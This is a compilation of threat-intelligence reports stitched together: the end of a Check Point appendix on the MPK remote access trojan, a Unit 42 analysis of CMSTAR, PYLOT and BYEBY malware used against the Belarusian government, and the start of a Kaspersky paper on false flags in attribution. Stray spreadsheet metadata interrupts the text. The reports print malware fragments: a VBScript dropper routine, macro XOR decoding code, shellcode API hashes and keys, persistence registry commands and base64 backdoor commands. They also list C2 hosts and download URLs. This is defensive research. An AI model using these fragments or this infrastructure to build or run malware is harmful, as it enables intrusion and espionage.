84.11.146.62 84.11.146.61 [109.169.22.69-72] [109.169.61.4-8] 109.169.61.8 109.169.22.69 109.169.22.71 109.169.22.72 162.223.90.148 162.223.91.226 162.222.194.51 212.118.118.100 2015 Check Point Software Technologies Ltd. All rights reserved 33 APPENDIX BMPK TECHNICAL DESCRIPTION The malware appears to be named MPK by the attackers.
This may be related to Masoud_PK as witnessed in the Iranian blogging web-site under the wool3n.h4t blog name.
Installation For persistence, the malware will add itself to autorun under an explorer entry: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run The malware includes a Visual Basic script (tmp.vbs) script, which will try to initially copy the malware executable to its destination: Sub CopyFile(SourceFile, DestinationFile) Set fso CreateObject(Scripting.
FileSystemObject) Dim wasReadOnly wasReadOnly False If fso.
FileExists(DestinationFile) Then If fso.
GetFile(DestinationFile).Attributes And 1 Then fso.
GetFile(DestinationFile).Attributes fso.
GetFile(DestinationFile).Attributes - 1 wasReadOnly True End If fso.
DeleteFile DestinationFile, True End If fso.
CopyFile SourceFile, DestinationFile, True If wasReadOnly Then fso.
GetFile(DestinationFile).Attributes fso.
GetFile(DestinationFile).Attributes 1 End If Set fso Nothing End Sub copyme WScript.
Arguments.
Item(0) copyto WScript.
Arguments.
Item(1) CopyFile copyme,copyto,0 Also, it will execute the following WScript, which will start the malware itself after exactly 9 seconds.
WScript.
Sleep 9000 CreateObject(WScript.
Shell).Run iexplorer.exe [1] Main operation This malware is basically a RAT (Remote Access Trojan).
It implements such functionality as a key-logger, sniffing TCP and UDP traffic, taking screenshots, as well as a remote command shell.
Also, it may gather a lot of information about the target system such as enumeration of files, drives, services, process information and the ability to send any file to the CC server.
2015 Check Point Software Technologies Ltd. All rights reserved 34 Less important, but still sensible information may be exfiltrated: Primary display resolution Has administrator rights or not Processor information Hostname information Windows version Service Pack version Amount of memory installed on the target system Network adapters and network configuration information TCP connections table The following mutex will be created: [2]opened Then, the malware will check if the following mutex exists: MyApp1.0 If it does, the malware will exit, so only one instance of the malware is allowed at a time.
If not, it will continue to the main operation.
Keylogger Keylogger stores keystrokes to the following file: TEMP\logd.txt Here is a sample of malware key-log output: (((((((Hello new File))))))))) Window VMware Accelerated AMD PCNet Adapter (Microsofts Packet Scheduler) : Capturing - Wireshark [UP][DOWN][DOWN][UP][UP][DOWN][UP][DOWN][DOWN][UP][UP][DOWN][DOWN][DOWN][UP][UP][UP][UP] [DOWN][DOWN][DOWN][DOWN]r Window Run cmd[ENTER] Window C:\WINDOWS\system32\cmd.exe notepad[ENTER] Window VMware Accelerated AMD PCNet Adapter (Microsofts Packet Scheduler) : Capturing - Wireshark [DOWN][UP] Window Untitled - Notepad test test test 2015 Check Point Software Technologies Ltd. All rights reserved 35 This file will be sent to remote CC server later on.
If the malware detects an open Gmail, Yahoo or Outlook window, it will add special processing so the attacker can easily recognize the data that is the most valuable to him.
The following string will be appended to the output file: \r/////////////\r\nMail Find Webcam capture The malware may capture photos from an attached webcam.
Files are first saved with the name test.bmp, later converted to JPEG and saved under the new file name Cam.jpg, eventually exfiltrated to the CC server.
TCP Connection Table The malware will gather available metadata regarding current TCP connections using the GetTcpTable API, and send a formatted version of the obtained data to the CC server.
Screenshots The malware may take screenshots.
The filename used for screenshots is Screeny.jpeg.
Remote Shell (Live Command Execution) The malware creates the following process as a live command prompt: cmd.exe /c cmd.exe This process output and input are attached and redirected via pipes to the remote CC server, allowing the operator to type in commands to control the victim computer.
The following line is first sent to the server: Welcome To mpkshell Command Line (This Message Send From Server) Traffic Monitoring The malware may sniff all TCP and UDP traffic on the machine.
This is achieved through the use of RAW sockets.
The following status strings can be sent to the CC server: Initializing Winsock 2.2...
Creating RAW socket... Configuring socket for packet interception Starting the sniffing process... UDP Packet Information: Source IP: s DESTINATION IP: s SOURCE PORT: d DESTINATION PORT: d PACKET DATA: TCP Packet Information: Source IP: s DESTINATION IP: s SOURCE PORT: d DESTINATION PORT: d 2015 Check Point Software Technologies Ltd. All rights reserved 36 If the current user privileges are insufficient for such action, the following error is presented: the processs is not admin try after restart to while mpkProcess To Admin...
File Exfiltration The malware may exfiltrate any file to the remote CC server.
The malware also contains the ability to enumerate all files on the system or find a specific file with the required filename specified by the operator.
Upon file exfiltration, the file is checked for size.
This is performed in order to send the file in 4Kb chunks, where each chunk frame is sized 0x1014h bytes.
Before uploading any file to the CC server, the malware will report its size: length: d After sending each chunk, the malware will report the current transfer status: d Bytes / d Bytes When the transfer will be finished, it will report completion using the following string: Completed: d Bytes Downloaded.
If there was any problem, this string will be reported: Failed to open s, s not found.
Communication protocol The malware uses raw sockets over IP protocol (IPPROTO_IP flag), effectively implementing its own protocol for data transfer.
The executables own File Version Info is parsed to retrieve the server IP, trivially encoded into the Company value: 2015 Check Point Software Technologies Ltd. All rights reserved 37 This data contains hardcoded IP address and port of CC server.
In this sample it is: 83.170.33.67:9090 A connection will be established to that IP, while sending periodic keep-alive messages, containing these 6 bytes: 123456 File-exfiltration packets are 0x1014h bytes long.
The first 2 bytes indicate the type of file to be exfiltrated: 0811hlogs (initial packet) 0810hlogs (subsequent packets) 080Fhlogs (final packet) 0BCDhwebcam images (initial packet) 0BCFhwebcam images (subsequent packets) 0BCEhwebcam images (final packet) 0803hscreenshots (initial packet) 0805hscreenshots (subsequent packets) 0804hscreenshots (final packet) 13C2herror with file The filename is located at offset 0x08h of the first packet.
Subsequent packets include file contents only.
The Check Point Incident Response Team is available to investigate and resolve complex security events that span from malware events, intrusions or denial of service attacks.
The team is available 24x7x365 by contacting emergency-responsecheckpoint.com or calling 866-923-0907 2015 Check Point Software Technologies Ltd. All rights reserved.
By Josh Grunzweig and Robert Falcone 9/28/2017 Threat Actors Target Government of Belarus Using CMSTAR Trojan researchcenter.paloaltonetworks.com /2017/09/unit42-threat-actors-target-government-belarus-using-cmstar-trojan/ Palo Alto Networks Unit 42 has identified a series of phishing emails containing updated versions of the previously discussed CMSTAR malware family targeting various government entities in the country of Belarus.
We first reported on CMSTAR in spear phishing attacks in spring of 2015 and later in 2016.
In this latest campaign, we observed a total of 20 unique emails between June and August of this year that included two new variants of the CMSTAR Downloader.
We also discovered two previously unknown payloads.
These payloads contained backdoors that we have named BYEBY and PYLOT respectively.
Figure 1 Diagram of the attack sequence Phishing Emails Between June and August of this year, we observed a total of 20 unique emails being sent to the following email addresses: Email Address Description pressmod.mil[.
]by Press Service of the Ministry of Defense of the Republic of Belarus baranovichi_eumod.mil[.
|
104
|
]by Baranovichi Operational Management of the Armed Forces modmailmod.mil[.
| 24,877
| 25,411
| 535
|
data/reports_final/0104.txt
|
]by Baranovichi Operational Management of the Armed Forces modmailmod.mil[.
]by Ministry of Defense of the Republic of Belarus adminmod.mil[.
]by Ministry of Defense of the Republic of Belarus itscmod.mil[.
]by Unknown.
Likely used by Ministry of Defense of the Republic of Belarus mineuvsmod.mil[.
]by Minsk Operational Administration of the Armed Forces informmod.mil[.
]by Unknown.
Likely used by Ministry of Defense of the Republic of Belarus uporov_milcoopmod.mil[.
]by Unknown.
Likely used by Ministry of Defense of the Republic of Belarus videogpk.gov[.
]by State Border Committee of the Republic of Belarus armscontrolmfa.gov[.
]by International Security and Arms Control Department, Ministry of Foreign Affairs ablameikomia[.
]by Unknown.
Likely used by the Ministry of Internal Affairs of the Republic of Belarus These emails contained a series of subject lines, primarily revolving around the topic of -2017 ( West-2017), also known in English as Zapad 2017.
Zapad 2017 was a series of joint military exercises conducted by the Armed Forces of the Russian Federation and the Republic of Belarus, held from September 14th to 20th in 2017.
The full list of subject lines is as follows: Fwd: -2017 [Translation: Fwd:Preparing for the West-2017] [Translation: graduation] -2017 [Translation: To West-2017] -2017 [Translation: West-2017] An example of some of the previously mentioned emails may be seen below.
1/12 https://researchcenter.paloaltonetworks.com/2017/09/unit42-threat-actors-target-government-belarus-using-cmstar-trojan/ https://researchcenter.paloaltonetworks.com/tag/cmstar/ https://researchcenter.paloaltonetworks.com/2015/05/cmstar-downloader-lurid-and-enfals-new-cousin/ https://researchcenter.paloaltonetworks.com/2016/03/digital-quartermaster-scenario-demonstrated-in-attacks-against-the-mongolian-government/ https://ru.wikipedia.org/wiki/D097D0B0D0BFD0B0D0B4-2017 https://en.wikipedia.org/wiki/Zapad_2017_exercise Figure 2 Phishing email sent to Belarus government (1/2) Figure 3 Phishing email sent to Belarus government (2/2) Decoy Documents We observed that the attachments used in these emails contained a mixture of file types.
RTF documents, Microsoft Word documents, and a RAR archive.
The RAR archive contained a series of images, a decoy document, and a Microsoft Windows executable within it.
The executable has a .scr file extension, and is designed to look like a Windows folder, as seen below: Figure 4 Payload disguising itself as a Microsoft Windows folder 2/12 The rough translation of the folder and file names above are Preparations for large-scale West-2017 exercises in this format are being held for the first time.
Within the actual folder, there are a series of JPG images, as well as a decoy document with a title that is translated to Thousands of Russian and Belarusian military are involved in the training of the rear services.
Figure 5 Embedded images and decoy document within RAR The decoy document contains the following content: Figure 6 Decoy document within RAR The other RTF and Word documents used additional decoy documents, which can be seen below.
3/12 Figure 7 Decoy document with translation (1/2) Figure 8 Decoy document with translation (2/2) While we observed different techniques being used for delivery, all attachments executed a variant of the CMSTAR malware family.
We observed minor changes between variants, which we discuss in the CMSTAR Variations and Payloads section of the blog post.
The Word documents, which we track as Werow, employ malicious macros for their delivery.
More information about these macros may be found in the Appendix of the blog post.
Additionally, we have included a script that extracts these embedded payloads that can also be found in the Appendix.
The RTF documents made use of CVE-2015-1641.
This vulnerability, patched in 2015, allows attackers to execute malicious code when these specially crafted documents are opened within vulnerable instances of Microsoft Word.
The payload for these samples is embedded within them and obfuscated using a 4-byte XOR key of 0xCAFEBABE.
We have included a script that can be used to extract the underlying payload of these RTFs statically that can be found in the Appendix.
The SCR file mentioned previously drops a CMSTAR DLL and runs it via an external call to rundll32.exe.
CMSTAR Variations and Payloads In total, we observed three variations of CMSTAR in these recent attacks against Belarusian targets.
The biggest change observed between them looks to be minor modifications made to the string obfuscation routine.
A very simple modification to the digit used in subtraction was modified between the variants, as shown below: 4/12 https://www.cve.mitre.org/cgi-bin/cvename.cgi?nameCVE-2015-1641 Figure 9 String obfuscation modifications between CMSTAR variants The older variation, named CMSTAR.A, was discussed in a previous blog post entitled, Digital Quartermaster Scenario Demonstrated in Attacks Against the Mongolian Government .
The CMSTAR.B variant was witnessed using both a different mutex from CMSTAR.A, as well as a slightly modified string obfuscation routine.
The mutexes used by CMSTAR ensure that only one instance of the malware runs at a time.
The CMSTAR.C variant used the same mutex as CMSTAR.B, however, again used another slightly modified string obfuscation routine.
We found all CMSTAR variants using the same obfuscation routine when I payload was downloaded from a remote server.
We have included a tool to extract mutex and C2 information from all three CMSTAR variants, as well as a tool to decode the downloaded payload: both may be found in the Scripts section.
An example of CMSTAR downloading its payload may be found below: Figure 10 Example HTTP download by CMSTAR When expanding the research to identify additional CMSTAR.B and CMSTAR.C variants, we identified a total of 31 samples.
Of these 31 samples, we found two unique payloads served from three of the C2 URLSOne of which was downloaded from a sample found in the phishing attacks previously described.
Both payloads contained previously unknown malware families.
We have named the payload found in the email campaign PYLOT, and the malware downloaded from the additional CMSTAR samples BYEBY.
Both malware families acted as backdoors, allowing the attackers to execute commands on the victim machine, as well as a series of other functions.
More information about these individual malware families may be found in the appendix.
Conclusion During the course of this research, we identified a phishing campaign consisting of 20 unique emails targeting the government of Belarus.
The ploys used in these email and decoy documents revolved around a joint strategic military exercise of the Armed Forces of the Russian Federation and the Republic of Belarus, which took place between September 14th and September 20th of this year.
While looking at the emails in question, we observed two new variants of the CMSTAR malware family.
Between the samples identified and others we found while expanding our research scope, we identified two previously unknown malware families.
Palo Alto customers are protected from this threat in the following ways: Tags have been created in AutoFocus to track CMSTAR, BYEBY, and PYLOT All observed samples are identified as malicious in WildFire Domains observed to act as C2s have been flagged as malicious Traps 4.1 identifies and blocks the CVE-2015-1641 exploit used in these documents Traps 4.1 blocks the macros used in the malicious Word documents A special thanks to Tom Lancaster for his assistance on this research.
Appendix Werow Macro Analysis The attacker used the same macro dropper all of the observed Microsoft Word documents we analyzed for this campaign.
It begins by building the following path strings: APPDATA\d.doc APPDATA\Microsoft\Office\WinCred.acl The d.doc path will be used to store a copy of the Word document, while the WinCred.acl will contain the dropped payload, which is expected to be a DLL.
5/12 https://researchcenter.paloaltonetworks.com/2016/03/digital-quartermaster-scenario-demonstrated-in-attacks-against-the-mongolian-government/ https://autofocus.paloaltonetworks.com//tag/Unit42.Cmstar https://autofocus.paloaltonetworks.com//tag/Unit42.BYEBY https://autofocus.paloaltonetworks.com//tag/Unit42.PYLOT Figure 11 Macro used to drop CMSTAR Werow uses rudimentary obfuscation to hide and re-assemble the following strings: HKCU\Software\Microsoft\Windows\CurrentVersion\Run\WinCred rundll32 APPDATA\Microsof\Office\WinCred.acl ,WinCred These strings will be used at the end of the macros execution to ensure persistence via the Run registry key.
The malware proceeds to read an included overlay within the original Word document from a given offset.
This data is decoded using and XOR operation, as well as an addition operation.
It can be represented in Python as follows: 6/12 1 2 3 4 5 6 7 8 9 10 11 12 def decrypt_xor(data, key, key_offset): output seed ord(key) for d in data: ord_d ord(d) if ord_d 0 and ord_d seed: nvalue ord_d seed seed (seed key_offset) 0x100 output chr(nvalue) else: output d return output Once this overlay is decoded, it is written to the WinCred.acl file and loaded with the WinCred export.
A script has been provided in the Scripts section that, in conjunction with oletools, can statically extract the embedded DLL payload from these documents.
RTF Shellcode Analysis The RTF documents delivered in this attack campaign appear to be created by the same builder.
All of the RTF files attempt to exploit CVE-2015-1641 to execute shellcode on the targeted system.
Please reference https://technet.microsoft.com/en-us/library/security/ms15-033.aspx for more information.
The shellcode executed after successful exploitation begins by resolving the API functions it requires by enumerating the API functions within loaded modules in the current process.
It then builds the following list of values: The shellcode then enumerates the API functions, subjects them to a ROR7 hashing routine and XORs the resulting hash with 0x10ADBEEF.
It uses the result of this arithmetic to compare with the list of values above to find the API functions it requires to carry out its functionality.
ROR7 ROR70x10ADBEEF API Func 1a22f51 110f91be WinExec 741f8dc4 64b2332b WriteFile 94e43293 84498c7c CreateFileA daa7fe52 ca0a40bd UnmapViewOfFile dbacbe43 cb0100ac SetFilePointer ec496a9e fce4d471 GetEnvironmentVariableA ff0d6657 efa0d8b8 CloseHandle After resolving the API functions, the shellcode then begins searching for the embedded payload and decoy within the initial RTF file.
It does so by searching the RTF file for three delimiters, specifically 0xBABABABABABA, 0xBBBBBBBB and 0xBCBCBCBC, which the shellcode uses to find the encrypted payload and decoy.
The shellcode then decrypts the payload by XORing four bytes at at time with the key 0xCAFEBABE, and decrypts the decoy by XORing four bytes at a time using the key 0xBAADF00D.
Here is a visual representation of the delimiters and embedded files: After decrypting the payload, it saves the file to the following location: APPDATA\Microsoft\Office\OutL12.pip The shellcode then creates the following registry key to automatically run the payload each time the system starts: Software\Microsoft\Windows\CurrentVersion\Run : Microsoft The shellcode saves the following command to this autorun key, which will execute the OutL12.pip payload, specifically calling its WinCred exported function: rundll32.exe APPDATA\Roaming\Microsoft\Office\OutL12.pip,WinCred The shellcode will then overwrite the original delivery document with the decrypted decoy contents and open the new document.
PYLOT Analysis 7/12 This malware family was named via a combination of the DLLs original name of pilot.dll, along with the fact it downloads files with a Python (.py) file extension.
PYLOT begins by being loaded as a DLL with the ServiceMain export.
It proceeds to create the following two folders within the TEMP path: KB287640 KB887209 PYLOT continues to load and decode an embedded resource file.
This file contains configuration information that is used by the malware throughout its execution.
The following script, written in Python, may be used to decode this embedded resource object: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 import sys import hexdump file sys.argv[1] fh open(file, rb) fdata list(fh.read()) fh.close() fdata_len len(fdata) c fdata_len-1 output while c gt 1: fdata[c] chr( ord(fdata[c]) ord(fdata[c-2]) ) c - 1 fdata .join(fdata) hexdump.hexdump(fdata) Looking at the decoded data, we see the following: Figure 12 Decoded embedded configuration information The malware continues to collect the following information from the victim computer: Computer name 8/12 IP addresses present on the machine MAC addresses Microsoft Windows version information Windows code page identifier information This information is used to generate a unique hash for the victim machine.
PYLOT then begins entering its C2 handler routine, where it will use HTTP for communication with the remote host.
Data sent to the remote C2 server is encrypted using RC4 with the previously shown key of BBidRotnqQpHfpRTi8cR.
It is then further obfuscated by base64-encoding this encrypted string.
An example of this HTTP request containing this data can be seen below.
Figure 13 HTTP request made by PYLOT to remote server The decrypted data sent in the request above is as follows.
Note that all of this custom data format has not been fully identified, however, were able to see various strings, including the embedded configuration string of fGAka0001, as well as the victim hash of 100048048.
Figure 14 Decrypted data sent by PYLOT to remote server The base64-encoded string at the end of the data contains the collected victim machine information from earlier, separated by a delimiter.
The remote C2 server responds using the same data format.
An example response can be seen below.
Figure 15 Response from remote C2 server The decoded data at the end of the response contains various URIs to be used by the malware to receive commands, as well as other information that has yet to be fully researched.
1 /duakzu/furs.py/ugvrf/pvoi.py/tydfw/pld.py/bpnij/syau.py/plugin/plugin.pyeycHhHKVQUnuAwtNchvYjScGYMtVMzMqYmxBmCEwieQpKgsokpvrxknPQRvnkOHDywCImVZxHxRdvlePjgnbPXsyTzreBEckVVFbuUHHcvLPGmqxHUNWondMIntBiVVO 9/12 A number of commands have been identified within PYLOT, including the following: Download batch script Run batch script Delete file Rename file Execute file Download file Upload file BYEBY Analysis BYEBY was named based on a string within the malware itself.
Most strings found within this malware are concatenated to 6 characters.
One such example was an instance where a debug string contained BYE BY, which was likely a concatenated form of the phrase BYE BYE.
This malware is loaded as a DLL, with an export name of ServiceMain.
When the malware is initially loaded, it begins by checking to see if it is running within either of the following paths: [SYSTEM32]\svchost.exe [SYSTEM32]\rundll32.exe If it finds itself not running in either location, it will immediately exit.
This is likely a technique used to bypass various sandboxing systems.
Should it find itself running as svchost.exe, it will write the current timestamp and a value of V09SS010 (Base64 Decoded: WORKMN) to a file named vmunisvc.cab within the users local TEMP folder.
This file acts as a lot file and is written to frequently throughout the malwares execution.
When the malware runs within the context of svchost.exe, it bypasses the installation routines and immediately enters the C2 handler.
When BYEBY is run within the context of rundll32.exe, it expects itself to be running for the first time.
As such, it will register itself as a service with a name of VideoSrv.
After this service is created, BYEBY proceeds to enter its C2 handler function in a new thread.
BYEBY uses TLS for network communication, connecting to the following host on port 443: oeiowidfla22[.
]com After the initial connection is established, BYEBY will collect the following system information and upload it to the remote C2: Hostname IP Address Embedded String of WinVideo Major Windows Version Minor Windows Version Embedded String of 6.1.7603.16000 The malware is configured to accept a number of commands.
These appear to be Base64-encoded strings that, when decoded, provide their true meaning.
Only the beginning of the commands are checked.
The Base64-decoded strings have been included for the benefit of the reader.
aGVsbG8h [Decoded: hello] R09PREJZ [Decoded: GOODBY] TElTVCBE [Decoded: LIST D] U1RBUlRD [Decoded: STARTC] Q09NTUFO [Decoded: COMMAN] VFJBTlNG [Decoded: TRANSF] RVhFQ1VU [Decoded: EXECUT] A mapping of commands and their descriptions has been provided: Command Description aGVsbG8h Authenticate with the remote C2 server.
R09PREJZ Close socket connection with remote server.
TElTVCBE List drives on the victim machine.
U1RBUlRD Start an interactive shell on the victim machine.
Q09NTUFO Execute a command in the interactive shell VFJBTlNG Upload or download files to the victim machine.
RVhFQ1VU Execute command in a new process.
Scripts We created multiple scripts during the course of our research.
We are sharing them here to assist other researchers or defenders that encounter this malware.
extract_cmstar_doc.py Script to extract the embedded CMSTAR payload from Word documents.
extract_cmstar_rtf.py Script to extract the embedded CMSTAR payload from RTFs.
extract_cmstar_strings.py Script to identify possible mutex and C2 strings from CMSTAR variants.
decode_cmstar_payload.py Script to decode a payload downloaded by CMSTAR.
Indicators of Compromise 10/12 https://github.com/pan-unit42/public_tools/blob/master/cmstar/extract_cmstar_doc.py https://github.com/pan-unit42/public_tools/blob/master/cmstar/extract_cmstar_rtf.py https://github.com/pan-unit42/public_tools/blob/master/cmstar/extract_cmstar_strings.py https://github.com/pan-unit42/public_tools/blob/master/cmstar/decode_cmstar_payload.py CMSTAR Variants Identified in Phishing Campaign 65d5ef9aa617e7060779bc217a42372e99d59dc88f8ea2f3b9f45aacf3ba7209 2a0169c72c84e6d3fa49af701fd46ee7aaf1d1d9e107798d93a6ca8df5d25957 4da6ce5921b0dfff9045ada7e775c1755e6ea44eab55da7ccc362f2a70ce26a6 2008ec82cec0b62bdb4d2cea64ff5a159a4327a058dfd867f877536389a72fb6 cecd72851c265f885ff02c60cbc3e6cbf1a40b298274761f623dfa44782a01f8 d8c0f8ecdeceba83396c98370f8f458ea7f7a935aabbcc3d41b80d4e85746357 2c8267192b196bf8a92c8b72d52096e46e307fa4d4dafdc030d3e0f5b4145e9e 2debf12b1cb1291cbd096b24897856948734fa62fd61a1f24d379b4224bda212 79b30634075896084135b9891c42fca8a59db1c0c731e445940671efab9a0b61 b0065fc16ae785834908f024fb3ddd4d9d62b29675859a8e737e3b949e85327a 16697c95db5add6c1c23b2591b9d8eec5ed96074d057b9411f0b57a54af298d5 6843d183b41b6b22976fc8d85e448dcc4d2e0bd2c159e6d966bfd4afa1cd9221 3c3efa89d1dd39e1112558af38ba656e048be842a3bedb7933cdd4210025f791 b2bebb381bc3722304ab1a21a21e082583bf6b88b84e7f65c4fdda48971c20a2 09890dc8898b99647cdc1cceb97e764b6a88d55b5a520c8d0ea3bfd8f75ed83b fd22973451b88a4d10d9f485baef7f5e7a6f2cb9ce0826953571bd8f5d866c2a CMSTAR Download Locations in Phishing Campaign http://45.77.60[.
]138/YXza9HkKWzqtXlt.dat http://45.77.60[.
]138/mePVDjnAZsYCw5j.dat http://45.77.60[.
]138/UScHrzGWbXb01gv.dat http://45.76.80[.
]32/tYD7jzfVNZqMfye.dat http://45.77.60[.
]138/liW0ecpxEWCfIgU.dat http://45.77.60[.
]138/ezD19AweVIj5NaH.dat http://45.77.60[.
]138/jVJlw3wp379neaJ.dat http://108.61.175[.
]110/tlhXVFeBvT64LC9.dat http://45.77.60[.
]138/HJDBvnJ7wc4S5qZ.dat http://45.77.60[.
]138/JUmoT4Pbw6U2xcj.dat http://108.61.175[.
]110/oiUfxZfej29MAbF.dat http://45.77.60[.
]138/cw1PlY308OpfVeZ.dat http://45.77.60[.
]138/VFdSKlgCAZD7mmp.dat http://45.77.60[.
]138/c2KoCT5OHcVwGi7.dat http://45.77.60[.
]138/3kK24dXFYRgM6Ac.dat http://45.77.60[.
]138/WsEeRyHEhLO1kUm.dat PYLOT SHA256 7e2c9e4acd05bc8ca45263b196e80e919ff60890a872bdc0576735a566369c46 PYLOT C2 wait.waisttoomuchmind[.
]com BYEBY SHA256 383a2d8f421ad2f243cbc142e9715c78f867a114b037626c2097cb3e070f67d6 BYEBY C2 oeiowidfla22[.
]com CMSTAR.B SHA256 8609360b43498e296e14237d318c96c58dce3e91b7a1c608cd146496703a7fac f0f2215457200bb3003eecb277bf7e3888d16edcf132d88203b27966407c7dc3 aecf53a3a52662b441703e56555d06c9d3c61bddf4d3b23d9da02abbe390c609 960a17797738dc0bc5623c74b6f8a5d74375f6d18d20ba18775f26a43898bae6 e37c045418259ecdc07874b85e7b688ba53f5a7dc989db19d7e8c440300bd574 75ea6e8dfaf56fb35f35cb043bd77aef9e2c7d46f3e2a0454dff0952a09c134f a65e01412610e5ed8fde12cb78e6265a18ef78d2fd3c8c14ed8a3d1cef17c91d 7170b104367530ae837daed466035a8be719fdb17423fc01da9c0ded74ca6ad1 11/12 13acddf9b7c2daafd815cbfa75fbb778a7074a6f90277e858040275ae61a252b 625ed818a25c63d8b2c264d0f5bd96ba5ad1c702702d8ffaa4e0e93e5f411fac a56cd758608034c90e81e4d4f1fe383982247d6aeffd74a1dd98d84e9b56afdf a4b969b93f7882ed2d15fd10970c4720961e42f3ae3fced501c0a1ffa3896ff5 e833bbb79ca8ea1dbeb408520b97fb5a1b691d5a5f9c4f9deabecb3787b47f73 8e9136d6dc7419469c959241bc8745af7ba51c7b02a12d04fec0bc4d3f7dcdf0 CMSTAR.B Download Locations http://108.61.175[.
]110/tlhXVFeBvT64LC9.dat http://104.238.188[.
]211/gl7xljvn3fqGt3u.dat http://45.77.60[.
]138/c2KoCT5OHcVwGi7.dat http://108.61.175[.
]110/gkMmqVvZ7gGGxpY.dat http://108.61.175[.
]110/z_gaDZyeZXvScQ6.dat http://108.61.175[.
]110/bDtzGVtqgiJU9PI.dat http://45.77.60[.
]138/liW0ecpxEWCfIgU.dat http://45.77.60[.
]138/JUmoT4Pbw6U2xcj.dat http://108.61.175[.
]110/oiUfxZfej29MAbF.dat http://108.61.103[.
]123/jvZfZ0gdTWtr46y.dat http://108.61.103[.
]123/06JcD5jz5dSHVAy.dat http://108.61.103[.
]123/nj3dsMMpyQQDBF3.dat http://108.61.103[.
]123/fHZvWtBGlFvs2Nr.dat http://45.77.60[.
]138/w57E8dktKb9UQyV.dat CMSTAR.C SHA256 85e06a2beaa4469f13ca58d5d09fec672d3d8962a7adad3c3cb74f3f9ef1fed4 b8ef93227b59e6c8d3a1494b4860d15be819fae17b57fd56bfff9a51b7972ff0 9e6fdbbc2371ac8bc6db3b878475ed0b0af8950d50a4652df688e778beb87397 4e38e627ae21f1a85aa963ca990a66cf75789b450605fdca2f31ee6f0f8ab8f2 f4ff0ca7f2ea2a011a2a4615d9b488b7806ff5dd61577a9e3a9860f2980e7fc0 8de3fa2614b1767cfd12936c5adf4423ef25ea60800fa170752266e0ca063274 38197abde967326568e101b65203c2efa75500e5f3c084b6dd08fd1ba1430726 726df91a395827d11dc433854b3f19b3e28eac4feff329e0bdad93890b03af84 5703565ec64d72eb693b9fafcba5951e937c8ee38829948e9518b7d226f81c10 d0544a3e6d1b34b8b4e976c7fc62d4500f28f617e2f549d9a3e590b71b1f9cc5 2a8e5551b9905e907da7268aba50fcbc526cfd0549ff2e352f9f4d1d71bf32a7 d7cd6f367a84f6d5cf5ffb3c2537dd3f48297bd45a8f5a4c50190f683b7c9e90 8f7294072a470b886791a7a32eedf0f0505aaecec154626c6334d986957086e4 6419255d017b217fe984d3439694eb96806d06c7ea41a422298650969028c08c CMSTAR.C Download Locations http://45.77.58[.
]49/54xfapkezW64xDE.dat http://45.77.58[.
]49/54xfapkezW64xDE.dat http://45.77.62[.
]181/naIXl13kqeV7Y2j.dat http://45.77.58[.
]160/9EkCWYA3OtDbz1l.dat http://45.77.58[.
]160/8h5NPYB5fAn301E.dat http://45.77.58[.
]160/9EkCWYA3OtDbz1l.dat http://45.77.60[.
]138/3kK24dXFYRgM6Ac.dat http://45.77.60[.
]138/ezD19AweVIj5NaH.dat http://45.77.60[.
]138/VFdSKlgCAZD7mmp.dat http://45.77.60[.
]138/HJDBvnJ7wc4S5qZ.dat http://45.77.60[.
]138/jVJlw3wp379neaJ.dat http://45.77.60[.
]138/YXza9HkKWzqtXlt.dat http://45.77.60[.
]138/UScHrzGWbXb01gv.dat http://45.77.60[.
]138/WsEeRyHEhLO1kUm.dat 12/12 Threat Actors Target Government of Belarus Using CMSTAR Trojan Phishing Emails Decoy Documents CMSTAR Variations and Payloads Conclusion Appendix Werow Macro Analysis RTF Shellcode Analysis PYLOT Analysis BYEBY Analysis Scripts Indicators of Compromise CMSTAR Variants Identified in Phishing Campaign CMSTAR Download Locations in Phishing Campaign PYLOT SHA256 PYLOT C2 BYEBY SHA256 BYEBY C2 CMSTAR.B SHA256 CMSTAR.B Download Locations CMSTAR.C SHA256 CMSTAR.C Download Locations
WAVE YOUR FALSE FLAGS BARTHOLOMEW GUERRERO-SAADE 1VIRUS BULLETIN CONFERENCE OCTOBER 2016 WAVE YOUR FALSE FLAGS DECEPTION TACTICS MUDDYING ATTRIBUTION IN TARGETED ATTACKS Brian Bartholomew Juan Andres Guerrero-Saade Kaspersky Lab, USA Email brian.bartholomew, juan.guerrero kaspersky.com ABSTRACT This paper takes a comprehensive look at the current state of attribution in targeted attack research and at deliberate attempts by the adversary to obstruct this process.
The paper includes common bases for attribution, practical and methodological complications, and examples of purposeful abuse by sophisticated threat actors in the wild.
INTRODUCTION Attribution is often the most prominent point of interest and contention when it comes to threat intelligence, both for direct recipients and the general public alike.
Despite this pervasive interest, the attribution phase of the analysis cycle is little understood and the complications that arise therein are often ignored.
Similarly, the value of attribution remains largely unquestioned.
We will not argue that attribution provides no value.
However, a thorough study of the methods for arriving at attribution and the data available to reach these conclusions will reveal the shaky foundation of attribution in threat intelligence and hopefully prove a cautionary tale for threat intelligence producers as well as recipients making decisions on the basis of attribution claims.
At a time when hacking back is discussed as a legitimate option for victims, and governments are willing to take heavy-handed geopolitical retribution on the basis of threat intelligence products, misattribution can have a hefty cost.
Moreover, attackers aware of the reactions taken by victim nations and companies in the face of audacious attribution claims may seek this tertiary effect purposefully.
Acknowledging the space for error in attribution, threat intelligence circles often raise this possibility under the vague threat of false fl ag operations.
However, little has been provided publicly to substantiate this possibility.
As part of our work in Kaspersky Labs Global Research and Analysis Team (GReAT), we have been uniquely positioned to witness both general and specifi c cases of manipulation of indicators by attackers of medium-to- advanced skill attempting to mislead researchers and other nosy onlookers.
Rather than resort to innuendo, we will provide multiple and diverse examples of manipulation that showcase the abuse potential currently being exploited by attackers in the wild.
By substantiating the case for false fl ags, we intend to raise a general awareness of the complications involved in investigating targeted attacks.
We hope that these cautionary tales will also reach the consumers of threat intelligence products to temper their expectations and reactions to attribution claims and hopefully dull the edge currently leveraged by cunning attackers interested in casting blame for their nefarious activities onto unsuspecting nation states or unrelated threat actors.
What follows will cover the general approach to attribution and its basis.
We will then present overviews of multiple examples of purposeful manipulation of attributory indicators to showcase different forms of manipulation, each displaying varying degrees of cunning and success potential.
Armed with these examples, we will explore general and methodological complications.
Finally, we discuss some general refl ections to further a deeper discussion of the value and risks of attribution for consumers and producers alike.
ATTRIBUTING TARGETED ATTACKS The expression attribution is hard is often bandied about, either apologetically or in jest.
